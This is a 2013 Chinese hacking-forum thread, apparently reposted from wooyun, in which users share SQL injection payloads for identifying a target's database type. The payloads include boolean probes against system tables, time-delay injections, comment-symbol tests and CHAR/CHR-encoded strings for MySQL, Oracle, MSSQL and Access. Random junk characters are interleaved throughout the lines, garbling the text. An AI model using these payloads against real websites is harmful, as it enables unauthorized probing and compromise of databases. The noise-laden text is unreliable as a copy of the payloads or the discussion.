找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2145|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
1 C* k7 O6 R5 X4 ^1 x  n' }xsser (十根阳具有长短!!) | 2013-02-05 12:36
8 d1 W4 ?8 a4 V: M; ^假设这么一个注射点:' a8 N) h% F* H% J' d
show.html?id=2
9 f7 {% ~- L9 C2 Amysql:id=2 and version()>02 Z$ n2 `. U9 k( N2 a* S
oracle:id=2 and '1'||'1'='11  i& o+ o  R: v4 e5 f8 T( \
其他的欢迎补充' {* j# M& v3 d# B
1#. C, S3 q  I! s' g# ~
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47+ A: {8 W# n- c8 F5 G
Access:0 H7 ?9 e! O( |- N# |* `
aNd aSc(cHr(97))=97
: d4 H' @( b8 u2 k8 A7 x: aand exists(select id from MSysAccessObjects)! u# j3 }6 P; `, p
SQL Server:
, |( Q+ {. f# C9 n8 y  Sand exists(select id from sysobjects)
5 ^: L7 @* ~5 Z7 K! {4 L( K( Kand length(user)>0
. {+ ~, h' J; J8 H& H8 SMySQL:
  _5 f4 ~$ f: @and length(user())>0
* t# f( L* ~" R! {2#
- ~) c5 o% v$ a- vxsser (十根阳具有长短!!) | 2013-02-05 12:48+ ~3 F- I0 M2 Z# b7 E0 m# [
@upload 如果这些都不是呢…3 s+ q5 O; t2 B
3#- o+ m4 t& K  R' A7 S! d
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
- a9 N. h1 y' f$ h7 l@xsser 不快速的,延时注入
+ K/ ]+ U- J* {  x7 O% n不知道这样写对不对, O; p2 z# d) I% k4 r1 O9 T
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'1 D! U, A8 i% a
mysql:id=2 and select benchmark(1e8,current_date());
: p! W* w4 h7 t3 k6 O3 k2 a4#9 \. e8 r8 N9 N3 Y
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10' n0 a5 P, r- t! m
最快的貌似是看报错信息& ?. u$ i5 R/ N( |
oracle error
7 ~4 R; v" K+ ~" Dmssql error7 s9 g! |. T% ~5 s0 c6 o! y
mysql error
+ T4 y* L/ [3 g: O3 H5#5 s5 ^6 z2 ^# P) y: R& K2 L& Q
Nimda (你们都是坏银~) | 2013-02-05 13:14
* i$ i) q5 o/ |/ d6 a6 C小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
* \! ?2 ]; c- T: e) M' y6#0 |. t' n/ z* Y$ s3 m
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:213 m" l) h0 d8 @: Y8 h9 C
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
& X# T2 S0 N7 U“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:1 g" W( L! ^- a0 N9 M1 ]
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。0 T+ v% R. V# I3 w5 Q8 \
7#
5 t6 A" A! z; u- `( p' d  u_Evil (HackEnd) | 2013-02-05 13:33
1 w2 J( L7 r5 u! Y; |3 `PostgreSQL
8 F3 ]/ `5 I/ a5 b7 L1 S; m( @" b8#3 c$ |# o' t, j8 l% c6 F
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42+ p+ n5 T/ h/ U1 r
切换编码 and 1=1
. q7 F5 o, q$ W* soracle:5 I/ t! g" L# Y0 [* g/ D
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
" y& j5 G6 f' V0 T6 [mssql:6 |0 T, p/ E" V: b, |1 B1 Q+ m. I
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)( g* z6 s5 R1 c1 P$ t7 J
mysql:; p- L7 s# k) v0 D# n2 V; K
CHAR(97, 110, 100, 32, 49, 61, 49)7 V) x, F  d* z4 N
9#! _+ i. u$ y8 R/ [: k9 S2 P
xsser (十根阳具有长短!!) | 2013-02-05 14:31
2 ~0 d: s6 o( X7 b7 J@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
4 p# e- L+ r( E10#6 d" t9 x1 t- @# w
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46+ W- @" d5 H6 ?  @
@xsser 是奇葩数据库类型的么?0 I. _) ]+ @+ ?" b( O* b
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:5 v9 K3 l6 d# @7 b, t7 e; G
1.是否可以使用特定的函数来判断,该数据库特有的6 d; ~( G: O% ]4 T0 j( m
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
* B; v$ B1 s0 T6 R3.是否可以编码查询
, g4 I& w! X- ^+ G. h/ b* q* O4.是否显可以利用错信息
2 B6 v8 q. R3 `  O5.是否存在数据库某些特性辅助判断  U% l# p" K9 Z6 I+ s4 L9 U2 L
个人见解
; X" y, Z) C" J7 z& X11#' y5 x' l7 r9 p" x# h& \
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
6 ?7 q+ z2 X( j! ?& g已收藏,mssql可以直接看到错误提示的吧~
( K' b* Q3 b. G/ z2 T6 O12#
0 X4 o' z  L; rPasser_by | 2013-02-05 15:09
% D* a# @3 h- r9 m. [2 O8 {曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
5 j6 D6 ~! q' j9 L6 Ifrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表